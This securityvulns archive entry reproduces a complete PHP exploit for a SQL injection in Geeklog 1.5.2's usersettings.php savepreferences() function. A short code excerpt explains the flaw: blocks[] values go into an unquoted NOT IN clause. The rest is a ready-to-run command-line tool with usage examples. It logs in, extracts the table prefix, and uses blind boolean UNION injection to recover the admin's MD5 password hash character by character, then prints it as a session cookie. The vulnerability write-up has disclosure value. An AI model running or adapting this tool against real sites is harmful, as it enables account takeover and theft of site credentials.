Geeklog <= 1.5.2 savepreferences()/*blocks[] remote sql injection exploit

2009-04-17T00:00:00
ID SECURITYVULNS:DOC:21678
Type securityvulns
Reporter Securityvulns
Modified 2009-04-17T00:00:00

Description

<?php / Geeklog <= 1.5.2 savepreferences()/blocks[] remote sql injection exploit by Nine:Situations:Group::bookoo

our site: http://retrogod.altervista.org/
software site: http://www.geeklog.net/

PHP and MySQL version independent

vulnerability, see usersettings.php near lines 1467 - 1480:

...
if &#40;isset &#40;$_USER[&#39;uid&#39;]&#41; &amp;&amp; &#40;$_USER[&#39;uid&#39;] &gt; 1&#41;&#41; {
switch &#40;$mode&#41; {
case &#39;saveuser&#39;:
savepreferences &#40;$_POST&#41;;
$display .= saveuser&#40;$_POST&#41;;
PLG_profileExtrasSave &#40;&#41;;
break;

case &#39;savepreferences&#39;:

savepreferences &#40;$_POST&#41;;
$display .= COM_refresh &#40;$_CONF[&#39;site_url&#39;]
. &#39;/usersettings.php?mode=preferences&amp;amp;msg=6&#39;&#41;;
break;
...

all the $_POST[] variables are passed to the savepreferences&#40;&#41; function
now look the function always in usersettings.php:

...
function savepreferences&#40;$A&#41; {
global $_CONF, $_TABLES, $_USER;

if &#40;isset &#40;$A[&#39;noicons&#39;]&#41; &amp;&amp; &#40;$A[&#39;noicons&#39;] == &#39;on&#39;&#41;&#41; {
$A[&#39;noicons&#39;] = 1;
} else {
$A[&#39;noicons&#39;] = 0;
}
if &#40;isset &#40;$A[&#39;willing&#39;]&#41; &amp;&amp; &#40;$A[&#39;willing&#39;] == &#39;on&#39;&#41;&#41; {
$A[&#39;willing&#39;] = 1;
} else {
$A[&#39;willing&#39;] = 0;
}
if &#40;isset &#40;$A[&#39;noboxes&#39;]&#41; &amp;&amp; &#40;$A[&#39;noboxes&#39;] == &#39;on&#39;&#41;&#41; {
$A[&#39;noboxes&#39;] = 1;
} else {
$A[&#39;noboxes&#39;] = 0;
}
if &#40;isset &#40;$A[&#39;emailfromadmin&#39;]&#41; &amp;&amp; &#40;$A[&#39;emailfromadmin&#39;] == &#39;on&#39;&#41;&#41; {
$A[&#39;emailfromadmin&#39;] = 1;
} else {
$A[&#39;emailfromadmin&#39;] = 0;
}
if &#40;isset &#40;$A[&#39;emailfromuser&#39;]&#41; &amp;&amp; &#40;$A[&#39;emailfromuser&#39;] == &#39;on&#39;&#41;&#41; {
$A[&#39;emailfromuser&#39;] = 1;
} else {
$A[&#39;emailfromuser&#39;] = 0;
}
if &#40;isset &#40;$A[&#39;showonline&#39;]&#41; &amp;&amp; &#40;$A[&#39;showonline&#39;] == &#39;on&#39;&#41;&#41; {
$A[&#39;showonline&#39;] = 1;
} else {
$A[&#39;showonline&#39;] = 0;
}

$A[&#39;maxstories&#39;] = COM_applyFilter &#40;$A[&#39;maxstories&#39;], true&#41;;
if &#40;empty &#40;$A[&#39;maxstories&#39;]&#41;&#41; {
$A[&#39;maxstories&#39;] = 0;
} else if &#40;$A[&#39;maxstories&#39;] &gt; 0&#41; {
if &#40;$A[&#39;maxstories&#39;] &lt; $_CONF[&#39;minnews&#39;]&#41; {
$A[&#39;maxstories&#39;] = $_CONF[&#39;minnews&#39;];
}
}

$TIDS  = @array_values&#40;$A[$_TABLES[&#39;topics&#39;]]&#41;;
$AIDS  = @array_values&#40;$A[&#39;selauthors&#39;]&#41;;
$BOXES = @array_values&#40;$A[&quot;{$_TABLES[&#39;blocks&#39;]}&quot;]&#41;; //&lt;--------- this is $_POST[&#40;prefix&#41;blocks]
$ETIDS = @array_values&#40;$A[&#39;etids&#39;]&#41;;

$tids = &#39;&#39;;
if &#40;sizeof &#40;$TIDS&#41; &gt; 0&#41; {
$tids = addslashes &#40;implode &#40;&#39; &#39;, $TIDS&#41;&#41;;
}

$aids = &#39;&#39;;
if &#40;sizeof &#40;$AIDS&#41; &gt; 0&#41; {
$aids = addslashes &#40;implode &#40;&#39; &#39;, $AIDS&#41;&#41;;
}

$selectedblocks = &#39;&#39;;
if &#40;count &#40;$BOXES&#41; &gt; 0&#41; {
$boxes = addslashes &#40;implode &#40;&#39;,&#39;, $BOXES&#41;&#41;; //&lt;---------- this addslashes&#40;&#41; is totally unuseful

//**** SQL INJECTION HERE *** $boxes is not surrounded by quotes!
$blockresult = DB_query&#40;&quot;SELECT bid,name FROM {$_TABLES[&#39;blocks&#39;]} WHERE bid NOT IN &#40;$boxes&#41;&quot;&#41;;

$numRows = DB_numRows&#40;$blockresult&#41;;
for &#40;$x = 1; $x &lt;= $numRows; $x++&#41; {
$row = DB_fetchArray &#40;$blockresult&#41;;
if &#40;$row[&#39;name&#39;] &lt;&gt; &#39;user_block&#39; AND $row[&#39;name&#39;] &lt;&gt; &#39;admin_block&#39; AND $row[&#39;name&#39;] &lt;&gt; &#39;section_block&#39;&#41; {
$selectedblocks .= $row[&#39;bid&#39;];
if &#40;$x &lt;&gt; $numRows&#41; {
$selectedblocks .= &#39; &#39;;
}
}
}
}
...

read the lines commented!

This tool extracts the admin hash from db by asking true/false questions
to MySQL and interpreting some checkboxes in response, but requires a simple user account.

vulnerability ii, information disclosure:
now I see that table prefix is showed inside html because they used table names for the $_TABLES[] array
*/

$err[0] = &quot;[!] This script is intended to be launched from the cli!&quot;;
$err[1] = &quot;[!] You need the curl extesion loaded!&quot;;

if &#40;php_sapi_name&#40;&#41; &lt;&gt; &quot;cli&quot;&#41; {
    die&#40;$err[0]&#41;;
}
if &#40;!extension_loaded&#40;&#39;curl&#39;&#41;&#41; {
    $win = &#40;strtoupper&#40;substr&#40;PHP_OS, 0, 3&#41;&#41; === &#39;WIN&#39;&#41; ? true :
    false;
    if &#40;$win&#41; {
        !dl&#40;&quot;php_curl.dll&quot;&#41; ? die&#40;$err[1]&#41; :
        nil;
    } else {
        !dl&#40;&quot;php_curl.so&quot;&#41; ? die&#40;$err[1]&#41; :
        nil;
    }
}

function syntax&#40;&#41; {
    print &#40;
    &quot;Syntax: php &quot;.$argv[0].&quot; [host] [path] [user] [pass] [OPTIONS]         &#92;n&quot;. &quot;Options:

\n". "--c:[uid:hash ] - use your user cookie, instead of uses/pwd pair \n". "--port:[port] - specify a port
\n". " default->80 \n". "--uid:[n] - specify an uid other than default (2,usually admin)\n". "--proxy:[host:port] - use proxy \n". "--skiptest - skip preliminary tests \n". "--test - run only tests
\n". "Examples: php ".$argv[0]." 192.168.0.1 /geeklog/ bookoo pass \n". " php ".$argv[0]." 192.168.0.1 / bookoo pass --proxy:1.1.1.1:8080\n". " php ".$argv[0]." 192.168.0.1 / bookoo pass --uid:3
\n". " php ".$argv[0]." 192.168.0.1 /geeklog/ * * -c:3:5f4dcc3b5aa765d61d8327deb882cf99"); die(); }

error_reporting&#40;E_ALL ^ E_NOTICE&#41;;
$host = $argv[1];
$path = $argv[2];
$_user = $argv[3];
$_pwd = $argv[4];

//default
$uid = &quot;2&quot;;
$where = &quot;uid=$uid&quot;; //user id, usually admin, anonymous = 1


$argv[4] ? print&#40;&quot;[*] Attacking...&#92;n&quot;&#41; :
syntax&#40;&#41;;

$_use_proxy = false;
$port = 80;
$_skiptest = false;
$_test = false;
$_use_ck = false;


for &#40;$i = 3; $i &lt; $argc; $i++&#41; {

    if &#40;stristr&#40;$argv[$i], &quot;--proxy:&quot;&#41;&#41; {
        $_use_proxy = true;
        $tmp = explode&#40;&quot;:&quot;, $argv[$i]&#41;;
        $proxy_host = $tmp[1];
        $proxy_port = &#40;int&#41;$tmp[2];
    }
    if &#40;stristr&#40;$argv[$i], &quot;--port:&quot;&#41;&#41; {
        $tmp = explode&#40;&quot;:&quot;, $argv[$i]&#41;;
        $port = &#40;int&#41;$tmp[1];
    }

    if &#40;stristr&#40;$argv[$i], &quot;--uid&quot;&#41;&#41; {
        $tmp = explode&#40;&quot;:&quot;, $argv[$i]&#41;;
        $uid = &#40;int&#41;$tmp[1];
        $where = &quot;uid=$uid&quot;;
    }
    if &#40;stristr&#40;$argv[$i], &quot;--skiptest&quot;&#41;&#41; {
        $_skiptest = true;
    }
    if &#40;stristr&#40;$argv[$i], &quot;--test&quot;&#41;&#41; {
        $_test = true;
    }
    if &#40;stristr&#40;$argv[$i], &quot;--c&quot;&#41;&#41; {
        $_use_ck = true;
        $tmp = explode&#40;&quot;:&quot;, $argv[$i]&#41;;
        $tmp[1] = &#40;int&#41;$tmp[1];
        $cookies = &quot;geeklog=&quot;.$tmp[1].&quot;; password=&quot;.$tmp[2].&quot;;&quot;;

    }
}

function _s&#40;$url, $ck, $is_post, $request&#41; {
    global $_use_proxy, $proxy_host, $proxy_port;
    $ch = curl_init&#40;&#41;;
    curl_setopt&#40;$ch, CURLOPT_URL, $url&#41;;
    if &#40;$is_post&#41; {
        curl_setopt&#40;$ch, CURLOPT_POST, 1&#41;;
        curl_setopt&#40;$ch, CURLOPT_POSTFIELDS, $request.&quot;&#92;r&#92;n&quot;&#41;;
    }
    curl_setopt&#40;$ch, CURLOPT_RETURNTRANSFER, 1&#41;;
    curl_setopt&#40;$ch, CURLOPT_USERAGENT, &quot;Mozilla/5.0 &#40;Windows; U; Windows NT 5.1; it; rv:1.9.0.7&#41; Gecko/2009021910

Firefox/3.0.7"); curl_setopt($ch, CURLOPT_TIMEOUT, 0); curl_setopt($ch, CURLOPT_HEADER, 1); $cookies = array("Cookie: ".$ck); curl_setopt($ch, CURLOPT_HTTPHEADER, $cookies); if ($_use_proxy) { curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port); } $_d = curl_exec($ch); if (curl_errno($ch)) { die("[!] ".curl_error($ch)."\n"); } else { curl_close($ch); } return $_d; }

function chk_err&#40;$s&#41; {
    if &#40;stripos &#40;$s,

"\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\x72\x72\x65\x64")) { return true; } else { return false; } }

function run_test&#40;&#41; {
    global $host, $port, $path, $cookies, $url, $prefix;
    $_sql = &quot;&#41;&quot;;
    $out = _s&#40;$url, $cookies, 1, &quot;mode=savepreferences&amp;&quot;.$prefix.&quot;blocks[0]=&quot;.urlencode&#40;$_sql&#41;.&quot;&amp;&quot;&#41;;
    if &#40;chk_err&#40;$out&#41;&#41; {
        print&#40;&quot;[*] Vulnerable!&#92;n&quot;&#41;;
    } else {
        die &#40;&quot;[!] Not vulnerable ...&quot;&#41;;
    }
}

function login&#40;&#41; {
    global $host, $port, $path, $_user, $_pwd;
    $url = &quot;http://$host:$port&quot;.$path.&quot;users.php&quot;;
    $out = _s&#40;$url, &quot;&quot;, 1, &quot;loginname=$_user&amp;passwd=$_pwd&amp;submit=Login&quot;&#41;;
    $tmp = explode&#40;&quot;&#92;x0d&#92;x0a&#92;x0d&#92;x0a&quot;, $out&#41;;
    $tmp = explode&#40;&quot;&#92;x53&#92;x65&#92;x74&#92;x2d&#92;x43&#92;x6f&#92;x6f&#92;x6b&#92;x69&#92;x65&#92;x3a&#92;x20&quot;, $tmp[0]&#41;;
    $cookies = &quot;&quot;;
    for &#40;$i = 1; $i &lt; count&#40;$tmp&#41;; $i++&#41; {
        $tmp_i = explode&#40;&quot;;&quot;, $tmp[$i]&#41;;
        $cookies .= $tmp_i[0].&quot;; &quot;;
    }
    if &#40;stripos &#40;$cookies, &quot;&#92;x70&#92;x61&#92;x73&#92;x73&#92;x77&#92;x6f&#92;x72&#92;x64&quot;&#41;&#41; {
        return $cookies;
    } else {
        die&#40;&quot;[*] Unable to login!&quot;&#41;;
    }

}

function xtrct_prefix&#40;&#41; {
    global $host, $port, $path, $cookies, $url;
    $out = _s&#40;$url, $cookies, 0, &quot;&quot;&#41;;
    $tmp = explode&#40;&quot;&#92;x62&#92;x6c&#92;x6f&#92;x63&#92;x6b&#92;x73&#92;x5b&#92;x5d&quot;, $out&#41;;
    if &#40;count&#40;$tmp&#41; &lt; 2&#41; {
        die&#40;&quot;[!] Not logged in!&quot;&#41;;
    }
    $tmp = explode&#40;&quot;&#92;x22&quot;, $tmp[0]&#41;;
    $prefix = $tmp[count&#40;$tmp&#41;-1];
    return $prefix;
}

function is_checked&#40;&#41; {
    global $host, $port, $path, $cookies, $url;
    $out = _s&#40;$url, $cookies, 0, &quot;&quot;&#41;;
    $tmp = explode&#40;&quot;&#92;x62&#92;x6c&#92;x6f&#92;x63&#92;x6b&#92;x73&#92;x5b&#92;x5d&quot;, $out&#41;;
    $tmp = explode&#40;&quot;&#92;x3e&quot;, $tmp[1]&#41;;
    $s = $tmp[0];
    if &#40;stripos &#40;$s, &quot;&#92;x22&#92;x63&#92;x68&#92;x65&#92;x63&#92;x6b&#92;x65&#92;x64&#92;x22&quot;&#41;&#41; {
        return 1;
    } else {
        return 0;
    }
}

if &#40;!$_use_ck&#41; {
    $cookies = login&#40;&#41;;
}

$url = &quot;http://$host:$port&quot;.$path.&quot;usersettings.php&quot;;
$prefix = xtrct_prefix&#40;&#41;;
print &quot;[*] prefix-&gt;&#39;&quot;.$prefix.&quot;&#39;&#92;n&quot;;

if &#40;!$_skiptest&#41; {
    run_test&#40;&#41;;
}
if &#40;$_test&#41; {
    die;
}

#uncheck all boxes
$rst_sql = &quot;0&#41; AND 0 UNION SELECT 1,0x61646d696e5f626c6f636b FROM &quot;.$prefix.&quot;users WHERE &quot;.$where.&quot; LIMIT 1/*&quot;;
$out = _s&#40;$url, $cookies, 1, &quot;mode=savepreferences&amp;&quot;.$prefix.&quot;blocks[0]=&quot;.urlencode&#40;$rst_sql&#41;.&quot;&amp;&quot;&#41;;
#then start extraction
$c = array&#40;&#41;;
$c = array_merge&#40;$c, range&#40;0x30, 0x39&#41;&#41;;
$c = array_merge&#40;$c, range&#40;0x61, 0x66&#41;&#41;;
$url = &quot;http://$host:$port&quot;.$path;
$_hash = &quot;&quot;;
print &#40;&quot;[*] Initiating hash extraction ...&#92;n&quot;&#41;;
for &#40;$j = 1; $j &lt; 0x21; $j++&#41; {
    for &#40;$i = 0; $i &lt;= 0xff; $i++&#41; {
        $f = false;
        if &#40;in_array&#40;$i, $c&#41;&#41; {
            $sql = &quot;0&#41; AND 0 UNION SELECT 1,IF&#40;ASCII&#40;SUBSTR&#40;passwd FROM $j FOR 1&#41;&#41;=$i,1,0x61646d696e5f626c6f636b&#41; FROM

".$prefix."users WHERE ".$where." LIMIT 1/"; $url = "http://$host:$port".$path."usersettings.php"; $out = _s($url, $cookies, 1, "mode=savepreferences&".$prefix."blocks[0]=".urlencode($sql)."&"); if (is_checked()) { $f = true; $_hash .= chr($i); print "[] Md5 Hash: ".$_hash.str_repeat("?", 0x20-$j)."\n"; #if found , uncheck again $out = _s($url, $cookies, 1, "mode=savepreferences&".$prefix."blocks[0]=".urlencode($rst_sql)."&"); break; } } } if ($f == false) { die("\n[!] Unknown error ..."); } } print "[*] Done! Cookie: geeklog=$uid; password=".$_hash.";\n"; ?>

original url: http://retrogod.altervista.org/9sg_geeklog_152_usersettings_sql.html